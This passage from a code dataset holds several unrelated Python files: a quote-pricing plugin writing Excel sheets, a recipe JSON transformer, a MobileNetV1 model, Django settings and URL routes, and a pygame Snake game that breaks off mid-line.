sites[i][\"SLA price / year\"]\n sites[i][\"Total field service price\"] = sites[i][\"Yearly Field service\"] * (sites[i][\"Contract term\"] / 12)\n\n sites[i][\"Uninstallation + Installation + Delivery\"] = sites[i][\"International freight (incl. import, compliance, taxes)\"] + sites[i][\"Freight\"] + sites[i][\"Installation (1 or 2 device)\"] + sites[i][\"Uninstallation\"]\n\n sites[i][\"TC MRC License price\"] = sites[i][\"TC MRC License cost\"] * (1 + TCLicMargin)\n sites[i][\"OTC\"] = sites[i][\"Uninstallation + Installation + Delivery\"] + (sites[i][\"Equipment total price\"] + sites[i][\"Accessories total price\"]) * 0.2\n if sites[i][\"Series\"] == \"Velocloud\":\n sites[i][\"Software license price\"] = sites[i][\"Software license cost\"] * (1 + ResaleMargin)\n sites[i][\"Region addon price\"] = sites[i][\"Region addon cost\"] * (1 + ResaleMargin)\n sites[i][\"MRC\"] = sites[i][\"TC MRC License price\"] + ((sites[i][\"Equipment total price\"] + sites[i][\"Accessories total price\"]) * 0.8 * (1 + YearlyFinanceMargin) ** (sites[i][\"Contract term\"] /12) + sites[i][\"HW maintenance total price\"] + sites[i][\"Total field service price\"] + sites[i][\"Software license price\"] + sites[i][\"Region addon price\"]) / sites[i][\"Contract term\"]\n elif sites[i][\"Series\"] == \"Juniper\":\n sites[i][\"CSO license price\"] = sites[i][\"CSO license cost\"] * (1 + ResaleMargin)\n sites[i][\"MRC\"] = sites[i][\"TC MRC License price\"] + ((sites[i][\"Equipment total price\"] + sites[i][\"Accessories total price\"]) * 0.8 * (1 + YearlyFinanceMargin) ** (sites[i][\"Contract term\"] /12) + sites[i][\"HW maintenance total price\"] + sites[i][\"Total field service price\"] + sites[i][\"CSO license price\"]) / sites[i][\"Contract term\"]\n else:\n if sites[i][\"Contract term\"] / 12 < 1:\n contract_term = 1\n else:\n contract_term = round(sites[i][\"Contract term\"] / 12)\n sites[i][\"MRC\"] = sites[i][\"TC MRC License price\"] + ((sites[i][\"Equipment total price\"] + sites[i][\"Accessories total price\"]) * 0.8 * (1 + YearlyFinanceMargin) ** contract_term + sites[i][\"HW maintenance total price\"] + sites[i][\"Total field service price\"]) / sites[i][\"Contract term\"]\n sites[i][\"TCV\"] = sites[i][\"OTC\"] + sites[i][\"MRC\"] * sites[i][\"Contract term\"]\n sites[i][\"Project Management percentage\"] = \"6%\"\n sites[i][\"Project Management\"] = sites[i][\"TCV\"] * project_management\n sites[i][\"OTC\"] += sites[i][\"Project Management\"]\n sites[i][\"TCV\"] = sites[i][\"OTC\"] + sites[i][\"MRC\"] * sites[i][\"Contract term\"]\n logger.info(\"Overlay row processed \" + str(i))\n\n\n underlayColumns = []\n sites[i][\"Supplier OTC cost\"] = 0\n sites[i][\"Supplier OTC\"] = 0\n sites[i][\"Supplier MRC cost\"] = 0\n sites[i][\"Supplier MRC\"] = 0\n sites[i][\"Supplier TCV\"] = 0\n if sites[i][\"Underlay required?\"] == \"yes\":\n underlay = True\n sites[i][\"Bandwidth category \"] = sites[i][\"Bandwidth category\"]\n underlayColumns = [\"Service type\", \"Bandwidth category \",\"Download/Upload ratio\", \"Number of public IPs\", \"Network termination unit required?\", \"Supplier OTC\", \"Supplier MRC\", \"Supplier TCV\"]\n if sites[i][\"Network termination unit required?\"]:\n sites[i][\"Network termination unit required?\"] = \"yes\"\n else:\n sites[i][\"network termination unit required?\"] = \"no\"\n \n underlaySite = {\n \"countryNode\":core.get_base(nodePairs[i].get_countryNode()),\n \"rowId\":i,\n \"project_name\":projectName,\n \"quoteId\":deal_id,\n \"siteId\":str(sites[i][\"Site ID 1\"]) + \"-\" + str(sites[i][\"Site ID 2\"]),\n \"countryCode2\":sites[i][\"Country code\"],\n \"countryCode3\":sites[i][\"countryCode3\"],\n \"city\":sites[i][\"City\"],\n \"address\":sites[i][\"Address\"],\n \"bandwidth\":sites[i][\"Bandwidth category\"],\n \"contract_term_month\":sites[i][\"Contract term\"],\n \"contract_term_year\":sites[i][\"Contract term\"] // 12 + 1 if sites[i][\"Contract term\"] % 12 != 0 else sites[i][\"Contract term\"] // 12\n }\n underlaySites.append(underlaySite)\n\n if underlaySites != []:\n for underlaySite in underlaySites:\n underlaySite = supplierLogic.initiateApiCallForSite(self=self,quotingsite=underlaySite,service=\"Connectivity\",syslogger=logger)\n if \"Supplier OTC cost\" in underlaySite.keys() and \"Supplier MRC cost\" in underlaySite.keys():\n sites[underlaySite[\"rowId\"]][\"Supplier OTC cost\"] = underlaySite[\"Supplier OTC cost\"]\n sites[underlaySite[\"rowId\"]][\"Supplier OTC\"] = underlaySite[\"Supplier OTC cost\"] * 1.2\n sites[underlaySite[\"rowId\"]][\"Supplier MRC cost\"] = underlaySite[\"Supplier MRC cost\"] \n sites[underlaySite[\"rowId\"]][\"Supplier MRC\"] = underlaySite[\"Supplier MRC cost\"] * 1.2\n sites[underlaySite[\"rowId\"]][\"Supplier TCV\"] = sites[underlaySite[\"rowId\"]][\"Supplier OTC\"] + underlaySite[\"contract_term_month\"] * sites[underlaySite[\"rowId\"]][\"Supplier MRC\"]\n \n columns = []\n # writes data to excel\n if sites[0][\"Series\"] == \"Velocloud\":\n columns = [\"Site ID 1\", \"Site ID 2\",\"City\",\"ZIP code\",\"Address\",\"Country code\",\"Country\",\"Order type\",\"Bandwidth category\",\"Feature set\",\"Device type\",\"Site setup\",\"On-site maintenance\",\"Installation required?\",\"Uninstallation required?\",\"Maintenance required?\",\"Contract term\",\\\n \"Device quantity\",\"DHL country code\",\"EU/ Not EU\",\"Licensing category\",\"Number of sites\",\"Unit hardware value\",\"Accessories value\",\"Net hardware value\",\"Volumetric weight\",\\\n \"Unit Vendor support\", \"Net Vendor support\",\"Vendor - RO delivery cost\",\"RO - DST delivery cost\",\"Install cost\",\"Uninstall cost\",\"On-site maintenance cost\",\"TC MRC License cost\", \"Software license cost\",\"Region addon cost\"]\n elif sites[0][\"Series\"] == \"Juniper\":\n columns = [\"Site ID 1\", \"Site ID 2\",\"Country code\",\"Country\",\"City\",\"ZIP code\",\"Address\",\"Order type\",\"Bandwidth category\",\"Feature set\",\"Device type\",\"Site setup\",\"On-site maintenance\",\"Installation required?\",\"Uninstallation required?\",\"Maintenance required?\",\"Contract term\",\\\n \"Device quantity\",\"DHL country code\",\"EU/ Not EU\",\"Licensing category\",\"Number of sites\",\"Unit hardware value\",\"Accessories value\",\"Net hardware value\",\"Volumetric weight\",\\\n \"Unit Vendor support\", \"Net Vendor support\",\"Vendor - RO delivery cost\",\"RO - DST delivery cost\",\"Install cost\",\"Uninstall cost\",\"On-site maintenance cost\",\"TC MRC License cost\", \"CSO license cost\"]\n else:\n columns = [\"Site ID 1\", \"Site ID 2\",\"Country code\",\"Country\",\"City\",\"ZIP code\",\"Address\",\"Order type\",\"Bandwidth category\",\"Feature set\",\"Device type\",\"Site setup\",\"On-site maintenance\",\"Installation required?\",\"Uninstallation required?\",\"Maintenance required?\",\"Contract term\",\\\n \"Device quantity\",\"DHL country code\",\"EU/ Not EU\",\"Licensing category\",\"Number of sites\",\"Unit hardware value\",\"Accessories value\",\"Net hardware value\",\"Volumetric weight\",\\\n \"Unit Vendor support\", \"Net Vendor support\",\"Vendor - RO delivery cost\",\"RO - DST delivery cost\",\"Install cost\",\"Uninstall cost\",\"On-site maintenance cost\",\"TC MRC License cost\"]\n\n df = pandas.DataFrame(sites)\n df.to_excel(writer, sheet_name='Calc', index=False, columns=columns, float_format=\"%.2f\")\n\n basecolumns = [\"Quote ID\", \"Site ID 1\", \"Site ID 2\",\"Country\",\"ZIP code\",\"City\",\"Address\",\"Contract term\"]\n accessory_columns = []\n for j in range(1, 6):\n if \"Accessory \" + str(j) in sites[0].keys():\n accessory_columns.append(\"Accessory \" + str(j))\n accessory_columns.append(\"Quantity \" + str(j))\n \n columns = basecolumns\n if overlay:\n if sites[0][\"Series\"] == \"Velocloud\":\n columns += [\"Order type\",\"Bandwidth category\",\"Feature set\",\"Device type\",\"Device quantity\",\"Site setup\",\"Currency\",\\\n \"International freight (incl. import, compliance, taxes)\",\"Freight\",\"Uninstallation\",\"Installation (1 or 2 device)\",\"SLA category\",\"SLA price / year\",\\\n \"Equipment base cost\",\"Accessories cost\",\"HW maintenance yearly base cost\",\"Equipment unit price\",\"HW maintenance yearly unit price\",\\\n \"Equipment total price\",\"Accessories total price\",\"HW maintenance yearly total price\",\"Yearly Field service\",\"Uninstallation + Installation + Delivery\",\\\n \"HW maintenance total price\",\"Total field service price\",\"TC MRC License price\",\"Software license price\",\"Region addon price\",\"Project Management percentage\",\"Project Management\",\"OTC\",\"MRC\",\"TCV\"] + accessory_columns\n elif sites[0][\"Series\"] == \"Juniper\":\n columns += [\"Order type\",\"Bandwidth category\",\"Feature set\",\"Device type\",\"Device quantity\",\"Site setup\",\"Currency\",\\\n \"International freight (incl. import, compliance, taxes)\",\"Freight\",\"Uninstallation\",\"Installation (1 or 2 device)\",\"SLA category\",\"SLA price / year\",\\\n \"Equipment base cost\",\"Accessories cost\",\"HW maintenance yearly base cost\",\"Equipment unit price\",\"HW maintenance yearly unit price\",\\\n \"Equipment total price\",\"Accessories total price\",\"HW maintenance yearly total price\",\"Yearly Field service\",\"Uninstallation + Installation + Delivery\",\\\n \"HW maintenance total price\",\"Total field service price\",\"TC MRC License price\",\"CSO license price\",\"Project Management percentage\",\"Project Management\",\"OTC\",\"MRC\",\"TCV\"] + accessory_columns\n else:\n columns += [\"Order type\",\"Bandwidth category\",\"Feature set\",\"Device type\",\"Device quantity\",\"Site setup\",\"Currency\",\\\n \"International freight (incl. import, compliance, taxes)\",\"Freight\",\"Uninstallation\",\"Installation (1 or 2 device)\",\"SLA category\",\"SLA price / year\",\\\n \"Equipment base cost\",\"Accessories cost\",\"HW maintenance monthly base cost\",\"Equipment unit price\",\"HW maintenance monthly unit price\",\\\n \"Equipment total price\",\"Accessories total price\",\"HW maintenance monthly total price\",\"Yearly Field service\",\"Uninstallation + Installation + Delivery\",\\\n \"HW maintenance total price\",\"Total field service price\",\"TC MRC License price\",\"Project Management percentage\",\"Project Management\",\"OTC\",\"MRC\",\"TCV\"] + accessory_columns\n if underlay:\n columns+= underlayColumns\n\n df.to_excel(writer, sheet_name='Quote', index=False, columns=columns, float_format=\"%.2f\")\n\n if NonEu_IOR_delivery_BOM:\n df = pandas.DataFrame(NonEu_IOR_delivery_BOM)\n columns = [\"Ship To Country\",\"Chargable Weight\",\"Shipment Value (USD)\",\"IOR and Import Compliance Fee\",\"Admin Fee\",\"Liability Cover Fee\",\"Tax and Duty\",\"Total - Customs Brokerage Cost\",\"Total - Clearance Costs\",\"Total - Handling Costs\",\"Total - License Cost\",\"Bank Fees\",\"Total Invoice Amount\",\"Notes\"]\n df.to_excel(writer, sheet_name='NonEu delivery', columns=columns, index=False, float_format=\"%.2f\")\n\n bundle_BOM_df.to_excel(writer, sheet_name='BOM', index=False, float_format=\"%.2f\")\n\n summary = {\n \"Revenue\" : 0,\n \"Costs\" : 0,\n \"Hardware cost\" : 0,\n \"Accessories cost\": 0,\n \"Vendor support\" : 0,\n \"Delivery\" : 0,\n \"Uninstallation\":0,\n \"Installation\" : 0,\n \"Field service\" : 0,\n \"MRC license\" : 0,\n \"Software license cost\" : 0,\n \"Region addon cost\": 0,\n \"CSO license cost\": 0,\n \"Underlay supplier cost\": 0,\n \"Cash result\" : 0,\n \"Capex\" : 0,\n \"Ebitda\" : 0,\n \"Margin\" : 0\n }\n\n for i in range(len(sites)):\n summary[\"Revenue\"] += sites[i][\"TCV\"] + sites[i][\"Supplier TCV\"]\n summary[\"Hardware cost\"] += sites[i][\"Net hardware value\"]\n summary[\"Accessories cost\"] += sites[i][\"Accessories value\"]\n summary[\"Vendor support\"] += sites[i][\"Net Vendor support\"]\n summary[\"Delivery\"] += sites[i][\"Vendor - RO delivery cost\"] + sites[i][\"RO - DST delivery cost\"]\n summary[\"Installation\"] += sites[i][\"Install cost\"]\n summary[\"Uninstallation\"] += sites[i][\"Uninstall cost\"]\n summary[\"Field service\"] += sites[i][\"On-site maintenance cost\"]\n summary[\"MRC license\"] += sites[i][\"TC MRC License cost\"] * sites[i][\"Contract term\"]\n if sites[i][\"Series\"] == \"Velocloud\":\n summary[\"Software license cost\"] += sites[i][\"Software license cost\"]\n summary[\"Region addon cost\"] += sites[i][\"Region addon cost\"]\n if sites[i][\"Series\"] == \"Juniper\":\n summary[\"CSO license cost\"] += sites[i][\"CSO license cost\"]\n if sites[i][\"EU/ Not EU\"] == \"EU\":\n summary[\"Capex\"] += sites[i][\"Net hardware value\"]\n summary[\"Underlay supplier cost\"] += sites[i][\"Supplier OTC cost\"] + sites[i][\"Supplier MRC cost\"] * sites[i][\"Contract term\"]\n \n #Project management 6%\n summary[\"Costs\"] = summary[\"Hardware cost\"] + summary[\"Accessories cost\"] + summary[\"Vendor support\"] + summary[\"Delivery\"] + summary[\"Installation\"] + summary[\"Uninstallation\"] + summary[\"Field service\"] + summary[\"MRC license\"] + summary[\"Software license cost\"] + summary[\"Region addon cost\"] + summary[\"CSO license cost\"] + summary[\"Underlay supplier cost\"]\n summary[\"Cash result\"] = summary[\"Revenue\"] - summary[\"Costs\"]\n summary[\"Ebitda\"] = summary[\"Cash result\"] + summary[\"Capex\"]\n summary[\"Margin\"] = summary[\"Cash result\"] / summary[\"Revenue\"] if summary[\"Revenue\"] else 0\n\n if sites[0][\"Series\"] == \"Velocloud\":\n columns = [\"Revenue\",\"Costs\",\"Hardware cost\",\"Accessories cost\",\"Vendor support\",\"Delivery\",\"Installation\",\"Uninstallation\",\"Field service\",\"MRC license\",\"Software license cost\",\"Region addon cost\",\"Underlay supplier cost\",\"Cash result\",\"Capex\",\"Ebitda\",\"Margin\"]\n elif sites[0][\"Series\"] == \"Juniper\":\n columns = [\"Revenue\",\"Costs\",\"Hardware cost\",\"Accessories cost\",\"Vendor support\",\"Delivery\",\"Installation\",\"Uninstallation\",\"Field service\",\"MRC license\",\"CSO license cost\",\"Underlay supplier cost\",\"Cash result\",\"Capex\",\"Ebitda\",\"Margin\"]\n else:\n columns = [\"Revenue\",\"Costs\",\"Hardware cost\",\"Accessories cost\",\"Vendor support\",\"Delivery\",\"Installation\",\"Uninstallation\",\"Field service\",\"MRC license\",\"Underlay supplier cost\",\"Cash result\",\"Capex\",\"Ebitda\",\"Margin\"]\n\n\n temp = []\n temp.append(summary)\n df = pandas.DataFrame(temp)\n df.to_excel(writer, sheet_name='Summary', index=False, columns=columns, float_format=\"%.2f\")\n writer.close()\n\n add_styles_to_excel(filename=projectName, vendor=sites[0][\"Series\"], MarginOnDelivery=MarginOnDelivery, overlay=overlay, underlay=underlay, underlayColumns=underlayColumns)\n\n logger.info(\"--- {} seconds ---\".format((time.time() - start_time)))\n \n commit_info = self.util.save(root_node, self.commit_hash, \"master\", \"Python plugin succesfully generated a quote\")\n logger.info(\"committed :{0}\".format(commit_info))\n","sub_path":"src/plugins/CreateProjectv2/CreateProjectv2/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":94651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"90797512","text":"\nimport os\n\nwith open(\"../recipes_compress.json\", \"r\") as infile:\n recipe_data = json.loads(infile.read())\nrecipes = recipe_data[\"recipes\"]\n\nif os.path.exists(\"recipe_map.json\"):\n with open(\"recipe_map.json\",\"r\") as recipe_mapfile:\n recipe_map = json.load(recipe_mapfile)\nelse:\n recipe_map = {recipe[\"name\"]: i for i, recipe in enumerate(recipes)}\n\nrecipe_translate_mappings = { \n \"level\" : \"lvl\",\n \"id\" : \"name\",\n}\nrecipe_delete_keys = [ #lol\n\n]\n\nprint(\"loaded all files.\")\n\nfor recipe in recipes:\n for key in recipe_delete_keys:\n if key in recipe:\n del recipe[key]\n for k, v in recipe_translate_mappings.items():\n if k in recipe:\n recipe[v] = recipe[k]\n del recipe[k]\n if not (recipe[\"name\"] in recipe_map):\n recipe_map[recipe[\"name\"]] = len(recipe_map)\n print(f'New Recipe: {recipe[\"name\"]}')\n recipe[\"id\"] = recipe_map[recipe[\"name\"]]\n\n\nwith open(\"../recipes_clean.json\", \"w\") as outfile:\n json.dump(recipe_data, outfile, indent = 2)\nwith open(\"../recipes_compress.json\", \"w\") as outfile:\n json.dump(recipe_data, outfile)\nwith open(\"../recipe_map.json\", \"w\") as recipe_mapfile:\n json.dump(recipe_map,recipe_mapfile,indent = 2)\n\n\nprint('All ing jsons updated.')","sub_path":"py_script/recipe_transform_combine.py","file_name":"recipe_transform_combine.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"338107628","text":"from torch import nn\r\nimport torch\r\n\r\n\r\ndef _make_divisible(ch, divisor=8, min_ch=None):\r\n \"\"\"\r\n This function is taken from the original tf repo.\r\n It ensures that all layers have a channel number that is divisible by 8\r\n It can be seen here:\r\n https://github.com/tensorflow/models/blob/master/research/slim/nets/mobilenet/mobilenet.py\r\n \"\"\"\r\n if min_ch is None:\r\n min_ch = divisor\r\n new_ch = max(min_ch, int(ch + divisor / 2) // divisor * divisor)\r\n # Make sure that round down does not go down by more than 10%.\r\n if new_ch < 0.9 * ch:\r\n new_ch += divisor\r\n return new_ch\r\n\r\n\r\nclass ConvBNReLU(nn.Sequential):\r\n def __init__(self, in_channel, out_channel, kernel_size=3, stride=1, groups=1):\r\n padding = (kernel_size - 1) // 2\r\n super(ConvBNReLU, self).__init__(\r\n nn.Conv2d(in_channel, out_channel, kernel_size, stride, padding, groups=groups, bias=False),\r\n nn.BatchNorm2d(out_channel),\r\n nn.ReLU6(inplace=True)\r\n )\r\n\r\n\r\n\r\nclass DWandPWResidual(nn.Module):\r\n def __init__(self, in_channel, out_channel, stride):\r\n super(DWandPWResidual, self).__init__()\r\n # hidden_channel = in_channel\r\n # self.use_shortcut = stride == 1 and in_channel == out_channel\r\n\r\n layers = []\r\n\r\n # 3x3 depthwise conv\r\n layers.append(ConvBNReLU(in_channel, in_channel,stride=stride, groups=in_channel))\r\n # 1x1 pointwise conv\r\n layers.append(ConvBNReLU(in_channel, out_channel, kernel_size=1))\r\n layers.append(nn.BatchNorm2d(out_channel))\r\n\r\n self.conv = nn.Sequential(*layers)\r\n\r\n def forward(self, x):\r\n return self.conv(x)\r\n\r\n\r\n\r\n\r\n\r\n\r\nclass MobileNetV1(nn.Module):\r\n def __init__(self, num_classes=1000, alpha=1.0, round_nearest=8):\r\n super(MobileNetV1, self).__init__()\r\n block = DWandPWResidual\r\n input_channel = 32\r\n last_channel = 1024\r\n # input_channel = _make_divisible(32 * alpha, round_nearest)\r\n # last_channel = _make_divisible(1280 * alpha, round_nearest)\r\n\r\n PWandDW_residual_setting = [\r\n # n, c, s\r\n [1, 64, 1],\r\n [1, 128, 2],\r\n [1, 128, 1],\r\n [1, 256, 2],\r\n [1, 256, 1],\r\n [1, 512, 2],\r\n [5, 512, 1],\r\n [1, 1024, 2],\r\n [1, 1024, 2],\r\n ]\r\n\r\n features = []\r\n # conv1 layer\r\n features.append(ConvBNReLU(3, input_channel, stride=2))\r\n # features.extend([block()])\r\n # building inverted residual residual blockes\r\n for n, c, s in PWandDW_residual_setting:\r\n output_channel = c\r\n for i in range(n):\r\n stride = s if i == 0 else 1\r\n features.append(block(input_channel, output_channel, stride))\r\n input_channel = output_channel\r\n\r\n # combine feature layers\r\n self.features = nn.Sequential(*features)\r\n\r\n # building classifier\r\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\r\n self.classifier = nn.Sequential(\r\n nn.Dropout(0.2),\r\n nn.Linear(last_channel, num_classes)\r\n )\r\n\r\n # weight initialization\r\n for m in self.modules():\r\n if isinstance(m, nn.Conv2d):\r\n nn.init.kaiming_normal_(m.weight, mode='fan_out')\r\n if m.bias is not None:\r\n nn.init.zeros_(m.bias)\r\n elif isinstance(m, nn.BatchNorm2d):\r\n nn.init.ones_(m.weight)\r\n nn.init.zeros_(m.bias)\r\n elif isinstance(m, nn.Linear):\r\n nn.init.normal_(m.weight, 0, 0.01)\r\n nn.init.zeros_(m.bias)\r\n\r\n def forward(self, x):\r\n x = self.features(x)\r\n x = self.avgpool(x)\r\n x = torch.flatten(x, 1)\r\n x = self.classifier(x)\r\n return x\r\n\r\n\r\n\r\n\r\n\r\n\r\n# from torchstat import stat\r\n#\r\n#\r\n# model = MobileNetV2()\r\n# stat(model, (3, 224, 224))\r\n","sub_path":"MobileNet V1/Mobilenet_v1.py","file_name":"Mobilenet_v1.py","file_ext":"py","file_size_in_byte":4000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"301562112","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Date: 2019-07-01\n# @File: site.py\n# @Author: zhangwei\n# @Desc: site settings\n\n\n# 基本信息\n\nNAME = '海保IT监控管理平台'\nNAME_ENG = 'AdminSystem'\nVERSION = '0.1'\nYEARS = '2019.06'\n\nCOMPANY = '海保人寿'\nDEPARTEMENT = '信息技术部 - 基础架构部'\nAUTHOR = '张伟(IT)'\nEMAIL = 'zhangwei1@haibao-life.com'\n\n\n# 注册的导航url,要以 / 结尾\n\nREGISTERED_NAVI = [\n {\n 'name': '系统导航', 'url': '/',\n 'childs': []\n },\n {\n 'name': '我的首页', 'url': '/admin/',\n 'childs': []\n },\n {\n 'name': '信息管理', 'url': '/admin/cmdb/',\n 'childs': [\n {'name': '业务拓扑', 'url': '/admin/cmdb/get_business_topology_html/'},\n {'name': '业务信息', 'url': '/admin/cmdb/get_business_html/'},\n {'name': '业务关联', 'url': '/admin/cmdb/get_business_node_html/'},\n {'name': '主机组', 'url': '/admin/cmdb/get_host_group_html/'},\n {'name': '监控组', 'url': '/admin/cmdb/get_monitor_host_group_html/'},\n {'name': '主机', 'url': '/admin/cmdb/get_host_html/'},\n # {'name': '应用管理', 'url': '/admin/cmdb/service/'},\n ]\n },\n {\n 'name': '后台设置', 'url': '/admin/setting/',\n 'childs': [\n {'name': '角色', 'url': '/admin/setting/get_role_html/'},\n {'name': '用户', 'url': '/admin/setting/get_user_html/'},\n ]\n },\n]\n\n\n# 获取所有基本信息\ndef get_base_info():\n return {\n 'name': NAME, 'name_eng': NAME_ENG, 'version': VERSION,\n 'company': COMPANY, 'department': DEPARTEMENT,\n 'author': AUTHOR, 'email': EMAIL, 'years': YEARS\n }\n\n","sub_path":"django_admin/utils/site.py","file_name":"site.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"246594955","text":"from django.urls import path\nfrom . import views\n\n\napp_name = \"collect\"\nurlpatterns = [\n path('', views.index, name='index'),\n\n path('signup/', views.signup, name='signup'),\n\n path('login/', views.login, name='login'),\n\n path('userinfo//', views.userinfo, name='userinfo'),\n path('logout/', views.logout, name='logout'),\n\n\n path('update//', views.update, name='update'),\n path('delete//', views.delete, name='delete'),\n path('tasks/', views.TaskList.as_view(), name='tasks'),\n path('grader/', views.grader, name='grader'),\n path('submitter/', views.submitter, name='submitter'),\n\n path('manager/', views.manager, name='manager'),\n path('tasks//', views.TaskDetail.as_view(), name='task-detail'),\n path('participations/', views.ParticipationList.as_view(), name='participations'),\n path('tasks//create/', views.create_participation,\n name='create-participation'),\n path('participations//delete/',\n views.delete_participation, name='delete-participation'),\n path('tasks//parsedfiles/',\n views.parsedFileListAndUpload, name='submitted-parsedfiles'),\n path('graded-parsedfiles/', views.GradedfileList.as_view(),\n name='graded-parsedfiles'),\n path('allocated-parsedfiles/', views.AllocatedfileList.as_view(),\n name='allocated-parsedfiles'),\n path('allocated-parsedfiles//',\n views.grade_parsedfile, name='grade-parsedfile'),\n path('allocated-parsedfiles//download/',\n views.download_parsedfile, name='download-for-grade-parsedfile'),\n path('users/', views.UserList.as_view(), name='users'),\n path('users/', views.UserDetail.as_view(), name='user-detail'),\n #path('list/', fileuploadViews.fileList, name='list files'),\n\n]\n","sub_path":"cssite/collect/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"378684488","text":"import pygame\nimport pygame.freetype\nfrom constants import *\nfrom player import *\nfrom fruit import *\nfrom pygame.locals import *\nfrom pygame import time\n\n#Essential pygame setup\n#--------------------------------------------------------------------------------------------------\npygame.init()\npygame.font.init()\nscreen = pygame.display.set_mode(RESOLUTION)\npygame.display.set_caption(\"Snake\")\n#--------------------------------------------------------------------------------------------------\n\n#Global Variables\n#--------------------------------------------------------------------------------------------------\nscore = DEFAULT_SCORE\ngameOver = False\ngameStarted = False\n\nplayer = Player()\nfruit = Fruit()\nclock = time.Clock()\nsnake_positions = [[player.body_list[HEAD].location[AXIS_X], player.body_list[HEAD].location[AXIS_Y]]]\n#--------------------------------------------------------------------------------------------------\n\n# Creating text for the game\n#--------------------------------------------------------------------------------------------------\nGAME_TITLE_FONT = pygame.freetype.Font(\"Roboto-Black.ttf\", 32) #font, size\nGAME_OVER_FONT = pygame.freetype.Font(\"Roboto-Black.ttf\", 42)\nGAME_INSTRUCTIONS_FONT = pygame.freetype.Font(\"Roboto-Black.ttf\", 24)\nSCORE_TEXT_FONT = pygame.freetype.Font(\"Roboto-Black.ttf\", 32)\nCREDITS_TEXT_FONT = pygame.freetype.Font(\"Roboto-Black.ttf\", 32)\n\nGAME_TITLE, GAME_TITLE_RECT = GAME_TITLE_FONT.render(\"Snake\", WHITE)\nGAME_INSTRUCTIONS, GAME_INSTRUCTIONS_RECT = GAME_INSTRUCTIONS_FONT.render(\"Use WASD to move\", WHITE)\nGAME_OVER_TEXT, GAME_OVER_TEXT_RECT = GAME_OVER_FONT.render(\"Game Over\", WHITE)\nGAME_OVER_INSTRUCTIONS, GAME_OVER_INSTRUCTIONS_RECT = GAME_INSTRUCTIONS_FONT.render(\"Press any key to restart\", WHITE)\nSCORE_TEXT, SCORE_TEXT_RECT = SCORE_TEXT_FONT.render(\"Score: \" + str(score), WHITE)\n#--------------------------------------------------------------------------------------------------\n\n\n#Check the collision between two objects, either with the border or with the fruit\ndef checkCollison(object1, object2 = None):\n #if the player head collide with the border\n if isinstance(object1, PlayerHead) and object2 == None:\n if object1.location[AXIS_X] <= 0 or object1.location[AXIS_X] >= RESOLUTION[AXIS_X]-SNAKE_SIZE[AXIS_X] or object1.location[AXIS_Y] <= 0 or object1.location[AXIS_Y] >= RESOLUTION[AXIS_Y]-SNAKE_SIZE[AXIS_Y]:\n global gameOver\n gameOver = True\n\n #Collide with the fruit, increase the score by 1, and append a new snake body\n if isinstance(object1, Player) and isinstance(object2, Fruit):\n if object1.body_list[HEAD].rect.colliderect(object2.rect):\n fruit.regenerate()\n global score\n score += 1\n player.addBodyPart()\n snake_positions.append([object1.body_list[-1].location[AXIS_X], object1.body_list[AXIS_Y].location[AXIS_Y]])\n\n #we dont know if removing it crash the game, rn, its fine hopefully :)\n # if isinstance(object1, PlayerHead) and isinstance(object2, PlayerBody):\n # if object1.rect.colliderect(object2.rect):\n # gameOver = True\n\n#make the snake body follow the player\ndef snakeBodyUpdate(player : Player):\n if len(player.body_list) <= 1: return #we dont care about the head, we care about the body\n \n #get the location of the head before updating\n prev_location = (snake_positions[HEAD][AXIS_X], snake_positions[HEAD][AXIS_Y])\n\n snake_positions[HEAD][AXIS_X] = player.body_list[HEAD].location[AXIS_X]\n snake_positions[HEAD][AXIS_Y] = player.body_list[HEAD].location[AXIS_Y]\n\n #each body will follow the body after\n for index, bodyPart in enumerate(player.body_list):\n if isinstance(bodyPart, PlayerHead): continue\n bodyPart.location = prev_location\n prev_location = (snake_positions[index][AXIS_X], snake_positions[index][AXIS_Y])\n snake_positions[index][AXIS_X] = player.body_list[index].location[AXIS_X]\n snake_positions[index][AXIS_Y] = player.body_list[index].location[AXIS_Y]\n\nwhile True:\n if not gameOver:\n clock.tick(60) #set the framerate to be 60fps\n screen.fill(BLACK)\n \n #Score text\n SCORE_TEXT, SCORE_TEXT_RECT = SCORE_TEXT_FONT.render(\"Score: \" + str(score), WHITE) \n screen.blit(SCORE_TEXT, (10,10))\n\n #Event Handler\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n break\n if event.type == pygame.KEYDOWN:\n keyPressed = pygame.key.get_pressed()\n player.setDirection(keyPressed)\n\n #If the player hasnt started the game, display the title\n if player.direction == None:\n screen.blit(GAME_TITLE, (RESOLUTION[0]/2 - GAME_TITLE_RECT.w/2 , RESOLUTION[1]/3))\n screen.blit(GAME_INSTRUCTIONS, (RESOLUTION[0]/2 - GAME_INSTRUCTIONS_RECT.w/2 , RESOLUTION[1]/3 + .1 * RESOLUTION[1]))\n\n player.move()\n fruit.draw(screen)\n player.draw(screen)\n snakeBodyUpdate(player)\n\n checkCollison(player.body_list[HEAD]) #Check the border\n checkCollison(player, fruit) #Check collision with the fruit\n\n #Check if the head is colliding with itself\n for snakeBody in player.body_list:\n if isinstance(snakeBody, PlayerHead): continue\n if player.body_list[HEAD].location[AXIS_X] == snakeBody.location[AXIS_X] and player.body_list[HEAD].location[AXIS_Y] == snakeBody.location[AXIS_Y]:\n gameOver = True\n\n else:\n #Display gameover text\n screen.fill(BLACK)\n\n #Display game over\n screen.blit(GAME_OVER_TEXT, (RESOLUTION[0]/2 - GAME_OVER_TEXT_RECT.w/2 , RESOLUTION[1]/3))\n screen.blit(GAME_OVER_INSTRUCTIONS,(RESOLUTION[0]/2 - GAME_OVER_INSTRUCTIONS_RECT.w/2 , RESOLUTION[1]/3 + .1 * RESOLUTION[1]))\n screen.blit(SCORE_TEXT, (RESOLUTION[0]/2 - 